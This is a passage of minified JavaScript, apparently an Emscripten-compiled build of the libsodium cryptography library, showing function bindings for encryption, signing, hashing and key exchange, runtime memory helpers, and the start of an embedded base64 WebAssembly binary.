o.preRun&&(o.preRun=[o.preRun]);o.preRun.length;)t=o.preRun.shift(),k.unshift(t);var t;L(k)}(),N>0||(o.setStatus?(o.setStatus(\"Running...\"),setTimeout((function(){setTimeout((function(){o.setStatus(\"\")}),1),t()}),1)):t()))}if(o._crypto_aead_chacha20poly1305_encrypt_detached=(t,e,r,n,A,i,s,a,c,h,g,u)=>(o._crypto_aead_chacha20poly1305_encrypt_detached=z.g)(t,e,r,n,A,i,s,a,c,h,g,u),o._crypto_aead_chacha20poly1305_encrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_encrypt=z.h)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_encrypt_detached=(t,e,r,n,A,i,s,a,c,h,g,u)=>(o._crypto_aead_chacha20poly1305_ietf_encrypt_detached=z.i)(t,e,r,n,A,i,s,a,c,h,g,u),o._crypto_aead_chacha20poly1305_ietf_encrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_ietf_encrypt=z.j)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_decrypt_detached=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_decrypt_detached=z.k)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_decrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_decrypt=z.l)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_decrypt_detached=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_ietf_decrypt_detached=z.m)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_decrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_chacha20poly1305_ietf_decrypt=z.n)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_chacha20poly1305_ietf_keybytes=()=>(o._crypto_aead_chacha20poly1305_ietf_keybytes=z.o)(),o._crypto_aead_chacha20poly1305_ietf_npubbytes=()=>(o._crypto_aead_chacha20poly1305_ietf_npubbytes=z.p)(),o._crypto_aead_chacha20poly1305_ietf_nsecbytes=()=>(o._crypto_aead_chacha20poly1305_ietf_nsecbytes=z.q)(),o._crypto_aead_chacha20poly1305_ietf_abytes=()=>(o._crypto_aead_chacha20poly1305_ietf_abytes=z.r)(),o._crypto_aead_chacha20poly1305_ietf_messagebytes_max=()=>(o._crypto_aead_chacha20poly1305_ietf_messagebytes_max=z.s)(),o._crypto_aead_chacha20poly1305_ietf_keygen=t=>(o._crypto_aead_chacha20poly1305_ietf_keygen=z.t)(t),o._crypto_aead_chacha20poly1305_keybytes=()=>(o._crypto_aead_chacha20poly1305_keybytes=z.u)(),o._crypto_aead_chacha20poly1305_npubbytes=()=>(o._crypto_aead_chacha20poly1305_npubbytes=z.v)(),o._crypto_aead_chacha20poly1305_nsecbytes=()=>(o._crypto_aead_chacha20poly1305_nsecbytes=z.w)(),o._crypto_aead_chacha20poly1305_abytes=()=>(o._crypto_aead_chacha20poly1305_abytes=z.x)(),o._crypto_aead_chacha20poly1305_messagebytes_max=()=>(o._crypto_aead_chacha20poly1305_messagebytes_max=z.y)(),o._crypto_aead_chacha20poly1305_keygen=t=>(o._crypto_aead_chacha20poly1305_keygen=z.z)(t),o._crypto_aead_xchacha20poly1305_ietf_encrypt_detached=(t,e,r,n,A,i,s,a,c,h,g,u)=>(o._crypto_aead_xchacha20poly1305_ietf_encrypt_detached=z.A)(t,e,r,n,A,i,s,a,c,h,g,u),o._crypto_aead_xchacha20poly1305_ietf_encrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_xchacha20poly1305_ietf_encrypt=z.B)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_xchacha20poly1305_ietf_decrypt_detached=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_xchacha20poly1305_ietf_decrypt_detached=z.C)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_xchacha20poly1305_ietf_decrypt=(t,e,r,n,A,i,s,a,c,h,g)=>(o._crypto_aead_xchacha20poly1305_ietf_decrypt=z.D)(t,e,r,n,A,i,s,a,c,h,g),o._crypto_aead_xchacha20poly1305_ietf_keybytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_keybytes=z.E)(),o._crypto_aead_xchacha20poly1305_ietf_npubbytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_npubbytes=z.F)(),o._crypto_aead_xchacha20poly1305_ietf_nsecbytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_nsecbytes=z.G)(),o._crypto_aead_xchacha20poly1305_ietf_abytes=()=>(o._crypto_aead_xchacha20poly1305_ietf_abytes=z.H)(),o._crypto_aead_xchacha20poly1305_ietf_messagebytes_max=()=>(o._crypto_aead_xchacha20poly1305_ietf_messagebytes_max=z.I)(),o._crypto_aead_xchacha20poly1305_ietf_keygen=t=>(o._crypto_aead_xchacha20poly1305_ietf_keygen=z.J)(t),o._crypto_auth_bytes=()=>(o._crypto_auth_bytes=z.K)(),o._crypto_auth_keybytes=()=>(o._crypto_auth_keybytes=z.L)(),o._crypto_auth=(t,e,r,n,A)=>(o._crypto_auth=z.M)(t,e,r,n,A),o._crypto_auth_verify=(t,e,r,n,A)=>(o._crypto_auth_verify=z.N)(t,e,r,n,A),o._crypto_auth_keygen=t=>(o._crypto_auth_keygen=z.O)(t),o._crypto_box_seedbytes=()=>(o._crypto_box_seedbytes=z.P)(),o._crypto_box_publickeybytes=()=>(o._crypto_box_publickeybytes=z.Q)(),o._crypto_box_secretkeybytes=()=>(o._crypto_box_secretkeybytes=z.R)(),o._crypto_box_beforenmbytes=()=>(o._crypto_box_beforenmbytes=z.S)(),o._crypto_box_noncebytes=()=>(o._crypto_box_noncebytes=z.T)(),o._crypto_box_macbytes=()=>(o._crypto_box_macbytes=z.U)(),o._crypto_box_messagebytes_max=()=>(o._crypto_box_messagebytes_max=z.V)(),o._crypto_box_seed_keypair=(t,e,r)=>(o._crypto_box_seed_keypair=z.W)(t,e,r),o._crypto_box_keypair=(t,e)=>(o._crypto_box_keypair=z.X)(t,e),o._crypto_box_beforenm=(t,e,r)=>(o._crypto_box_beforenm=z.Y)(t,e,r),o._crypto_box_detached_afternm=(t,e,r,n,A,i,s)=>(o._crypto_box_detached_afternm=z.Z)(t,e,r,n,A,i,s),o._crypto_box_detached=(t,e,r,n,A,i,s,a)=>(o._crypto_box_detached=z._)(t,e,r,n,A,i,s,a),o._crypto_box_easy_afternm=(t,e,r,n,A,i)=>(o._crypto_box_easy_afternm=z.$)(t,e,r,n,A,i),o._crypto_box_easy=(t,e,r,n,A,i,s)=>(o._crypto_box_easy=z.aa)(t,e,r,n,A,i,s),o._crypto_box_open_detached_afternm=(t,e,r,n,A,i,s)=>(o._crypto_box_open_detached_afternm=z.ba)(t,e,r,n,A,i,s),o._crypto_box_open_detached=(t,e,r,n,A,i,s,a)=>(o._crypto_box_open_detached=z.ca)(t,e,r,n,A,i,s,a),o._crypto_box_open_easy_afternm=(t,e,r,n,A,i)=>(o._crypto_box_open_easy_afternm=z.da)(t,e,r,n,A,i),o._crypto_box_open_easy=(t,e,r,n,A,i,s)=>(o._crypto_box_open_easy=z.ea)(t,e,r,n,A,i,s),o._crypto_box_seal=(t,e,r,n,A)=>(o._crypto_box_seal=z.fa)(t,e,r,n,A),o._crypto_box_seal_open=(t,e,r,n,A,i)=>(o._crypto_box_seal_open=z.ga)(t,e,r,n,A,i),o._crypto_box_sealbytes=()=>(o._crypto_box_sealbytes=z.ha)(),o._crypto_generichash_bytes_min=()=>(o._crypto_generichash_bytes_min=z.ia)(),o._crypto_generichash_bytes_max=()=>(o._crypto_generichash_bytes_max=z.ja)(),o._crypto_generichash_bytes=()=>(o._crypto_generichash_bytes=z.ka)(),o._crypto_generichash_keybytes_min=()=>(o._crypto_generichash_keybytes_min=z.la)(),o._crypto_generichash_keybytes_max=()=>(o._crypto_generichash_keybytes_max=z.ma)(),o._crypto_generichash_keybytes=()=>(o._crypto_generichash_keybytes=z.na)(),o._crypto_generichash_statebytes=()=>(o._crypto_generichash_statebytes=z.oa)(),o._crypto_generichash=(t,e,r,n,A,i,s)=>(o._crypto_generichash=z.pa)(t,e,r,n,A,i,s),o._crypto_generichash_init=(t,e,r,n)=>(o._crypto_generichash_init=z.qa)(t,e,r,n),o._crypto_generichash_update=(t,e,r,n)=>(o._crypto_generichash_update=z.ra)(t,e,r,n),o._crypto_generichash_final=(t,e,r)=>(o._crypto_generichash_final=z.sa)(t,e,r),o._crypto_generichash_keygen=t=>(o._crypto_generichash_keygen=z.ta)(t),o._crypto_hash_bytes=()=>(o._crypto_hash_bytes=z.ua)(),o._crypto_hash=(t,e,r,n)=>(o._crypto_hash=z.va)(t,e,r,n),o._crypto_kdf_bytes_min=()=>(o._crypto_kdf_bytes_min=z.wa)(),o._crypto_kdf_bytes_max=()=>(o._crypto_kdf_bytes_max=z.xa)(),o._crypto_kdf_contextbytes=()=>(o._crypto_kdf_contextbytes=z.ya)(),o._crypto_kdf_keybytes=()=>(o._crypto_kdf_keybytes=z.za)(),o._crypto_kdf_derive_from_key=(t,e,r,n,A,i)=>(o._crypto_kdf_derive_from_key=z.Aa)(t,e,r,n,A,i),o._crypto_kdf_keygen=t=>(o._crypto_kdf_keygen=z.Ba)(t),o._crypto_kdf_hkdf_sha256_extract_init=(t,e,r)=>(o._crypto_kdf_hkdf_sha256_extract_init=z.Ca)(t,e,r),o._crypto_kdf_hkdf_sha256_extract_update=(t,e,r)=>(o._crypto_kdf_hkdf_sha256_extract_update=z.Da)(t,e,r),o._crypto_kdf_hkdf_sha256_extract_final=(t,e)=>(o._crypto_kdf_hkdf_sha256_extract_final=z.Ea)(t,e),o._crypto_kdf_hkdf_sha256_extract=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha256_extract=z.Fa)(t,e,r,n,A),o._crypto_kdf_hkdf_sha256_keygen=t=>(o._crypto_kdf_hkdf_sha256_keygen=z.Ga)(t),o._crypto_kdf_hkdf_sha256_expand=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha256_expand=z.Ha)(t,e,r,n,A),o._crypto_kdf_hkdf_sha256_keybytes=()=>(o._crypto_kdf_hkdf_sha256_keybytes=z.Ia)(),o._crypto_kdf_hkdf_sha256_bytes_min=()=>(o._crypto_kdf_hkdf_sha256_bytes_min=z.Ja)(),o._crypto_kdf_hkdf_sha256_bytes_max=()=>(o._crypto_kdf_hkdf_sha256_bytes_max=z.Ka)(),o._crypto_kdf_hkdf_sha256_statebytes=()=>(o._crypto_kdf_hkdf_sha256_statebytes=z.La)(),o._crypto_kdf_hkdf_sha512_extract_init=(t,e,r)=>(o._crypto_kdf_hkdf_sha512_extract_init=z.Ma)(t,e,r),o._crypto_kdf_hkdf_sha512_extract_update=(t,e,r)=>(o._crypto_kdf_hkdf_sha512_extract_update=z.Na)(t,e,r),o._crypto_kdf_hkdf_sha512_extract_final=(t,e)=>(o._crypto_kdf_hkdf_sha512_extract_final=z.Oa)(t,e),o._crypto_kdf_hkdf_sha512_extract=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha512_extract=z.Pa)(t,e,r,n,A),o._crypto_kdf_hkdf_sha512_keygen=t=>(o._crypto_kdf_hkdf_sha512_keygen=z.Qa)(t),o._crypto_kdf_hkdf_sha512_expand=(t,e,r,n,A)=>(o._crypto_kdf_hkdf_sha512_expand=z.Ra)(t,e,r,n,A),o._crypto_kdf_hkdf_sha512_keybytes=()=>(o._crypto_kdf_hkdf_sha512_keybytes=z.Sa)(),o._crypto_kdf_hkdf_sha512_bytes_min=()=>(o._crypto_kdf_hkdf_sha512_bytes_min=z.Ta)(),o._crypto_kdf_hkdf_sha512_bytes_max=()=>(o._crypto_kdf_hkdf_sha512_bytes_max=z.Ua)(),o._crypto_kx_seed_keypair=(t,e,r)=>(o._crypto_kx_seed_keypair=z.Va)(t,e,r),o._crypto_kx_keypair=(t,e)=>(o._crypto_kx_keypair=z.Wa)(t,e),o._crypto_kx_client_session_keys=(t,e,r,n,A)=>(o._crypto_kx_client_session_keys=z.Xa)(t,e,r,n,A),o._crypto_kx_server_session_keys=(t,e,r,n,A)=>(o._crypto_kx_server_session_keys=z.Ya)(t,e,r,n,A),o._crypto_kx_publickeybytes=()=>(o._crypto_kx_publickeybytes=z.Za)(),o._crypto_kx_secretkeybytes=()=>(o._crypto_kx_secretkeybytes=z._a)(),o._crypto_kx_seedbytes=()=>(o._crypto_kx_seedbytes=z.$a)(),o._crypto_kx_sessionkeybytes=()=>(o._crypto_kx_sessionkeybytes=z.ab)(),o._crypto_scalarmult_base=(t,e)=>(o._crypto_scalarmult_base=z.bb)(t,e),o._crypto_scalarmult=(t,e,r)=>(o._crypto_scalarmult=z.cb)(t,e,r),o._crypto_scalarmult_bytes=()=>(o._crypto_scalarmult_bytes=z.db)(),o._crypto_scalarmult_scalarbytes=()=>(o._crypto_scalarmult_scalarbytes=z.eb)(),o._crypto_secretbox_keybytes=()=>(o._crypto_secretbox_keybytes=z.fb)(),o._crypto_secretbox_noncebytes=()=>(o._crypto_secretbox_noncebytes=z.gb)(),o._crypto_secretbox_macbytes=()=>(o._crypto_secretbox_macbytes=z.hb)(),o._crypto_secretbox_messagebytes_max=()=>(o._crypto_secretbox_messagebytes_max=z.ib)(),o._crypto_secretbox_keygen=t=>(o._crypto_secretbox_keygen=z.jb)(t),o._crypto_secretbox_detached=(t,e,r,n,A,i,s)=>(o._crypto_secretbox_detached=z.kb)(t,e,r,n,A,i,s),o._crypto_secretbox_easy=(t,e,r,n,A,i)=>(o._crypto_secretbox_easy=z.lb)(t,e,r,n,A,i),o._crypto_secretbox_open_detached=(t,e,r,n,A,i,s)=>(o._crypto_secretbox_open_detached=z.mb)(t,e,r,n,A,i,s),o._crypto_secretbox_open_easy=(t,e,r,n,A,i)=>(o._crypto_secretbox_open_easy=z.nb)(t,e,r,n,A,i),o._crypto_secretstream_xchacha20poly1305_keygen=t=>(o._crypto_secretstream_xchacha20poly1305_keygen=z.ob)(t),o._crypto_secretstream_xchacha20poly1305_init_push=(t,e,r)=>(o._crypto_secretstream_xchacha20poly1305_init_push=z.pb)(t,e,r),o._crypto_secretstream_xchacha20poly1305_init_pull=(t,e,r)=>(o._crypto_secretstream_xchacha20poly1305_init_pull=z.qb)(t,e,r),o._crypto_secretstream_xchacha20poly1305_rekey=t=>(o._crypto_secretstream_xchacha20poly1305_rekey=z.rb)(t),o._crypto_secretstream_xchacha20poly1305_push=(t,e,r,n,A,i,s,a,c,h)=>(o._crypto_secretstream_xchacha20poly1305_push=z.sb)(t,e,r,n,A,i,s,a,c,h),o._crypto_secretstream_xchacha20poly1305_pull=(t,e,r,n,A,i,s,a,c,h)=>(o._crypto_secretstream_xchacha20poly1305_pull=z.tb)(t,e,r,n,A,i,s,a,c,h),o._crypto_secretstream_xchacha20poly1305_statebytes=()=>(o._crypto_secretstream_xchacha20poly1305_statebytes=z.ub)(),o._crypto_secretstream_xchacha20poly1305_abytes=()=>(o._crypto_secretstream_xchacha20poly1305_abytes=z.vb)(),o._crypto_secretstream_xchacha20poly1305_headerbytes=()=>(o._crypto_secretstream_xchacha20poly1305_headerbytes=z.wb)(),o._crypto_secretstream_xchacha20poly1305_keybytes=()=>(o._crypto_secretstream_xchacha20poly1305_keybytes=z.xb)(),o._crypto_secretstream_xchacha20poly1305_messagebytes_max=()=>(o._crypto_secretstream_xchacha20poly1305_messagebytes_max=z.yb)(),o._crypto_secretstream_xchacha20poly1305_tag_message=()=>(o._crypto_secretstream_xchacha20poly1305_tag_message=z.zb)(),o._crypto_secretstream_xchacha20poly1305_tag_push=()=>(o._crypto_secretstream_xchacha20poly1305_tag_push=z.Ab)(),o._crypto_secretstream_xchacha20poly1305_tag_rekey=()=>(o._crypto_secretstream_xchacha20poly1305_tag_rekey=z.Bb)(),o._crypto_secretstream_xchacha20poly1305_tag_final=()=>(o._crypto_secretstream_xchacha20poly1305_tag_final=z.Cb)(),o._crypto_shorthash_bytes=()=>(o._crypto_shorthash_bytes=z.Db)(),o._crypto_shorthash_keybytes=()=>(o._crypto_shorthash_keybytes=z.Eb)(),o._crypto_shorthash=(t,e,r,n,A)=>(o._crypto_shorthash=z.Fb)(t,e,r,n,A),o._crypto_shorthash_keygen=t=>(o._crypto_shorthash_keygen=z.Gb)(t),o._crypto_sign_statebytes=()=>(o._crypto_sign_statebytes=z.Hb)(),o._crypto_sign_bytes=()=>(o._crypto_sign_bytes=z.Ib)(),o._crypto_sign_seedbytes=()=>(o._crypto_sign_seedbytes=z.Jb)(),o._crypto_sign_publickeybytes=()=>(o._crypto_sign_publickeybytes=z.Kb)(),o._crypto_sign_secretkeybytes=()=>(o._crypto_sign_secretkeybytes=z.Lb)(),o._crypto_sign_messagebytes_max=()=>(o._crypto_sign_messagebytes_max=z.Mb)(),o._crypto_sign_seed_keypair=(t,e,r)=>(o._crypto_sign_seed_keypair=z.Nb)(t,e,r),o._crypto_sign_keypair=(t,e)=>(o._crypto_sign_keypair=z.Ob)(t,e),o._crypto_sign=(t,e,r,n,A,i)=>(o._crypto_sign=z.Pb)(t,e,r,n,A,i),o._crypto_sign_open=(t,e,r,n,A,i)=>(o._crypto_sign_open=z.Qb)(t,e,r,n,A,i),o._crypto_sign_detached=(t,e,r,n,A,i)=>(o._crypto_sign_detached=z.Rb)(t,e,r,n,A,i),o._crypto_sign_verify_detached=(t,e,r,n,A)=>(o._crypto_sign_verify_detached=z.Sb)(t,e,r,n,A),o._crypto_sign_init=t=>(o._crypto_sign_init=z.Tb)(t),o._crypto_sign_update=(t,e,r,n)=>(o._crypto_sign_update=z.Ub)(t,e,r,n),o._crypto_sign_final_create=(t,e,r,n)=>(o._crypto_sign_final_create=z.Vb)(t,e,r,n),o._crypto_sign_final_verify=(t,e,r)=>(o._crypto_sign_final_verify=z.Wb)(t,e,r),o._crypto_sign_ed25519_pk_to_curve25519=(t,e)=>(o._crypto_sign_ed25519_pk_to_curve25519=z.Xb)(t,e),o._crypto_sign_ed25519_sk_to_curve25519=(t,e)=>(o._crypto_sign_ed25519_sk_to_curve25519=z.Yb)(t,e),o._randombytes_random=()=>(o._randombytes_random=z.Zb)(),o._randombytes_stir=()=>(o._randombytes_stir=z._b)(),o._randombytes_uniform=t=>(o._randombytes_uniform=z.$b)(t),o._randombytes_buf=(t,e)=>(o._randombytes_buf=z.ac)(t,e),o._randombytes_buf_deterministic=(t,e,r)=>(o._randombytes_buf_deterministic=z.bc)(t,e,r),o._randombytes_seedbytes=()=>(o._randombytes_seedbytes=z.cc)(),o._randombytes_close=()=>(o._randombytes_close=z.dc)(),o._randombytes=(t,e,r)=>(o._randombytes=z.ec)(t,e,r),o._sodium_bin2hex=(t,e,r,n)=>(o._sodium_bin2hex=z.fc)(t,e,r,n),o._sodium_hex2bin=(t,e,r,n,A,i,s)=>(o._sodium_hex2bin=z.gc)(t,e,r,n,A,i,s),o._sodium_base64_encoded_len=(t,e)=>(o._sodium_base64_encoded_len=z.hc)(t,e),o._sodium_bin2base64=(t,e,r,n,A)=>(o._sodium_bin2base64=z.ic)(t,e,r,n,A),o._sodium_base642bin=(t,e,r,n,A,i,s,a)=>(o._sodium_base642bin=z.jc)(t,e,r,n,A,i,s,a),o._sodium_init=()=>(o._sodium_init=z.kc)(),o._sodium_pad=(t,e,r,n,A)=>(o._sodium_pad=z.lc)(t,e,r,n,A),o._sodium_unpad=(t,e,r,n)=>(o._sodium_unpad=z.mc)(t,e,r,n),o._sodium_version_string=()=>(o._sodium_version_string=z.nc)(),o._sodium_library_version_major=()=>(o._sodium_library_version_major=z.oc)(),o._sodium_library_version_minor=()=>(o._sodium_library_version_minor=z.pc)(),o._sodium_library_minimal=()=>(o._sodium_library_minimal=z.qc)(),o._malloc=t=>(o._malloc=z.rc)(t),o._free=t=>(o._free=z.sc)(t),o.setValue=function(t,e,r=\"i8\"){switch(r.endsWith(\"*\")&&(r=\"*\"),r){case\"i1\":case\"i8\":y[0|t]=e;break;case\"i16\":m[t>>1]=e;break;case\"i32\":B[t>>2]=e;break;case\"i64\":x(\"to do setValue(i64) use WASM_BIGINT\");case\"float\":w[t>>2]=e;break;case\"double\":v[t>>3]=e;break;case\"*\":E[t>>2]=e;break;default:x(`invalid type for setValue: ${r}`)}},o.getValue=function(t,e=\"i8\"){switch(e.endsWith(\"*\")&&(e=\"*\"),e){case\"i1\":case\"i8\":return y[0|t];case\"i16\":return m[t>>1];case\"i32\":return B[t>>2];case\"i64\":x(\"to do getValue(i64) use WASM_BIGINT\");case\"float\":return w[t>>2];case\"double\":return v[t>>3];case\"*\":return E[t>>2];default:x(`invalid type for getValue: ${e}`)}},o.UTF8ToString=Y,M=function t(){G||q(),G||(M=t)},o.preInit)for(\"function\"==typeof o.preInit&&(o.preInit=[o.preInit]);o.preInit.length>0;)o.preInit.pop()();q()}))};var n,A,o=void 0!==o?o:{},s=Object.assign({},o),a=\"object\"==typeof window,c=\"function\"==typeof importScripts,h=\"object\"==typeof process&&\"object\"==typeof process.versions&&\"string\"==typeof process.versions.node,g=\"\";if(h){var u=T,l=T;g=c?l.dirname(g)+\"/\":__dirname+\"/\",n=(t,e)=>(t=function(t){return t.startsWith(\"file://\")}(t)?new URL(t):l.normalize(t),u.readFileSync(t,e?void 0:\"utf8\")),A=t=>{var e=n(t,!0);return e.buffer||(e=new Uint8Array(e)),e},!o.thisProgram&&process.argv.length>1&&process.argv[1].replace(/\\\\/g,\"/\"),process.argv.slice(2),e.exports=o,o.inspect=()=>\"[Emscripten Module object]\"}else(a||c)&&(c?g=self.location.href:\"undefined\"!=typeof document&&document.currentScript&&(g=document.currentScript.src),g=0!==g.indexOf(\"blob:\")?g.substr(0,g.replace(/[?#].*/,\"\").lastIndexOf(\"/\")+1):\"\",n=t=>{var e=new XMLHttpRequest;return e.open(\"GET\",t,!1),e.send(null),e.responseText},c&&(A=t=>{var e=new XMLHttpRequest;return e.open(\"GET\",t,!1),e.responseType=\"arraybuffer\",e.send(null),new Uint8Array(e.response)}));o.print;var f,p,d=o.printErr||void 0;Object.assign(o,s),s=null,o.arguments&&o.arguments,o.thisProgram&&o.thisProgram,o.quit&&o.quit,o.wasmBinary&&(f=o.wasmBinary),o.noExitRuntime,\"object\"!=typeof WebAssembly&&N(\"no native wasm support detected\");var I,y,C,m,B,E,w,v=!1;function _(){var t=p.buffer;o.HEAP8=I=new Int8Array(t),o.HEAP16=C=new Int16Array(t),o.HEAPU8=y=new Uint8Array(t),o.HEAPU16=new Uint16Array(t),o.HEAP32=m=new Int32Array(t),o.HEAPU32=B=new Uint32Array(t),o.HEAPF32=E=new Float32Array(t),o.HEAPF64=w=new Float64Array(t)}var Q=[],b=[],k=[],D=0,S=null;function N(t){throw o.onAbort&&o.onAbort(t),d(t=\"Aborted(\"+t+\")\"),v=!0,t+=\". Build with -sASSERTIONS for more info.\",new WebAssembly.RuntimeError(t)}var M,x,F=\"data:application/octet-stream;base64,\";function P(t){return t.startsWith(F)}P(M=\"data:application/octet-stream;base64,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